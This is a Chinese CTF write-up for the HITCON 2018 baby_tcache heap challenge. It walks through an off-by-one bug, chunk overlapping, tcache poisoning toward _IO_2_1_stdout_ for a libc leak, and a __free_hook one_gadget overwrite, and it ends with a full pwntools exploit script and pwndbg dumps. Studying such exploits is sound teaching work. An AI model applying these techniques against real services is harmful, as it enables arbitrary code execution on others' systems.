hitcon_2018_baby_tcache

查看保护

保护全开,改hook吧。这题和children_tcache相似,只不过这题没有show,所以想要泄露的话就需要打stdout

分析

new

判断202060有没有值,接下来输入size,size要<=0x2000,接下来输入data,跟进sub_B88函数

最后一个字节由0填充。接下来v3[size]=0这里出问题了,因为v3=malloc(size)的指针,而v3[size]这里的长度其实是size + 1被给成了0,所以有一个off-by-one漏洞。在全局202060中存入了v3,2020c0存入了size。上个自动化函数吧。

1
2
3
4
def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size:', str(size))
r.sendafter('Data:', content)

delete

输入index,index < 9,判断指针是否为空,将空间给上0xda,释放指针,将指针清0。没有UAF

1
2
3
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))

编写exp

因为保护全开,可以改hook来getshell,所以需要知道libc_base,libc_base可以跟据main_arena的偏移进行计算。但是要有show功能,这题没有show这个函数,所以考虑通过stdout来泄露libc_base,又因为这题是2.27所以tcache attack来getshell。这里难点是需要打stdout,其实可以将IO_2_1_stdout作为fake_chunk来启用。因为有off-by-one可以考虑使用overlapping,使用overlapping时就需要改prev_size和inuse。

创建几个堆块看一下吧。

1
2
3
4
5
6
7
new(0x500 - 0x8, 'aaaa')                        #0
new(0x30, 'bbbb') #1
new(0x40, 'cccc') #2
new(0x50, 'dddd') #3
new(0x60, 'eeee') #4
new(0x500 - 0x8, 'ffff') #5
new(0x70, 'gggg')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Allocated chunk | PREV_INUSE chunk0
Addr: 0x555555605250
Size: 0x501

Allocated chunk | PREV_INUSE chunk1
Addr: 0x555555605750
Size: 0x41

Allocated chunk | PREV_INUSE chunk2
Addr: 0x555555605790
Size: 0x51

Allocated chunk | PREV_INUSE chunk3
Addr: 0x5555556057e0
Size: 0x61

Allocated chunk | PREV_INUSE chunk4
Addr: 0x555555605840
Size: 0x71

Allocated chunk | PREV_INUSE chunk5
Addr: 0x5555556058b0
Size: 0x501

Allocated chunk | PREV_INUSE chunk6
Addr: 0x555555605db0
Size: 0x81

Top chunk | PREV_INUSE topchunk
Addr: 0x555555605e30
Size: 0x20081

可以将chunk5为目标地址向前进行overlapping。那么chunk5的prev_size就需要改为0x500 + 0x40+ 0x50 + 0x60 + 0x70 ,释放一下chunk4此时chunk4进tcache,再重启一下因为之前第一次创建的size是0x60,所以这一次创建0x68,让其能改chunk5的prev_size,又因为off-by-one的原因,填满0x68就可以覆盖chunk5的inuse位。

1
delete(4)

1
2
p1 = 'a' * 0x60 + '\x60\x06'
new(0x68, p1)

接下来就是伪造fake_chunk,将stdout挂进fake_chunk的data部分,可以选择chunk2来做fake_chunk,因为接下来还要释放0和5进行合并,而释放1的话会与top_chunk合并,所以选择释放2,因为在tcache中检查很少。

1
delete(2)

接下来释放0和2发生堆合并进unstortedbin。chunk0、chunk1、chunk2、chunk3、chunk4、chunk5合并成一个大堆块

1
2
delete(0)
delete(5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Free chunk (unsortedbin) | PREV_INUSE chunk0 - 5
Addr: 0x555555605250
Size: 0xb61
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk chunk6
Addr: 0x555555605db0
Size: 0x80

Top chunk | PREV_INUSE
Addr: 0x555555605e30
Size: 0x20081

pwndbg> bin
tcachebins chunk2
0x50 [ 1]: 0x5555556057a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555605250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555605250 /* 'PR`UUU' */
smallbins
empty
largebins
empty

释放后的size为b60是因为0x500 + 0x40 + 0x50 + 0x60 + 0x70 + 0x500,如果重启chunk的话,可以重启0-5的任意一个。因为chunk2挂进tcace,chunk2做为fake_chunk需要将他的fd改为stdout那里。unstortedbin的特性,如果我们分割一部分堆块,使得chunk2刚好作为分割剩下堆块的头部,fd指向main_arena。

1
new(0x530, 'aaaa')

接下来需要将fd指向main_arena给改成stdout,因为偏移是不变的,所以修改低两个字节为0x0760,从unstortedbin中直接申请堆块,内容写为\x60\x07,申请块的大小可以为chunk2 + chunk3,这时chunk4就会指向main_arena,在申请之前可以delete(4),为了改hook准备。

1
delete(4)

1
new(0xa0, '\x60\x07')

可以看到fd被改为IO_2_1_stdout,接下来申请0x40一次就会重启0x5555556057a0,再申请一次就会到stdout那里。打stdout时,flag=0xfbad1800,*_IO_read_ptr、_IO_read_end、_IO_read_base为0部署_IO_write_base最后一个字节为\x00,使得输出缓冲区变大*

1
2
3
new(0x40, 'aaa')
p1 = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
new(0x3e, p1)

接收一下吧。

1
2
3
4
5
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ed8b0
success('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
onegadget = one[1] + libc_base

hook地址出来之后下面要做的就是改hook为gadget,因为之前释放了chunk4,unstortedbin正好又到了chunk4的头,申请一次就会申请到chunk4,修改内容就可以修改fd。修改fd为hook打gadget。

1
2
3
4
new(0xa0, p64(free_hook))
new(0x60, 'a')
new(0x60, p64(onegadget))
delete(0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)
libc = ELF('./2.27/libc-2.27.so')

menu = 'Your choice: '

def dbg():
gdb.attach(r)

def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size:', str(size))
r.sendafter('Data:', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))

new(0x500 - 0x8, 'aaaa') #0
new(0x30, 'bbbb') #1
new(0x40, 'cccc') #2
new(0x50, 'dddd') #3
new(0x60, 'eeee') #4
new(0x500 - 0x8, 'ffff') #5
new(0x70, 'gggg') #6

delete(4)

p1 = 'a' * 0x60 + '\x60\x06'
new(0x68, p1)

delete(2)
delete(0)
delete(5)

new(0x530, 'aaaa')
delete(4)

new(0xa0, '\x60\x07')

new(0x40, 'aaa')
p1 = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
new(0x3e, p1)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ed8b0
success('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
onegadget = one[1] + libc_base

new(0xa0, p64(free_hook))
new(0x60, 'a')
new(0x60, p64(onegadget))

delete(0)

r.interactive()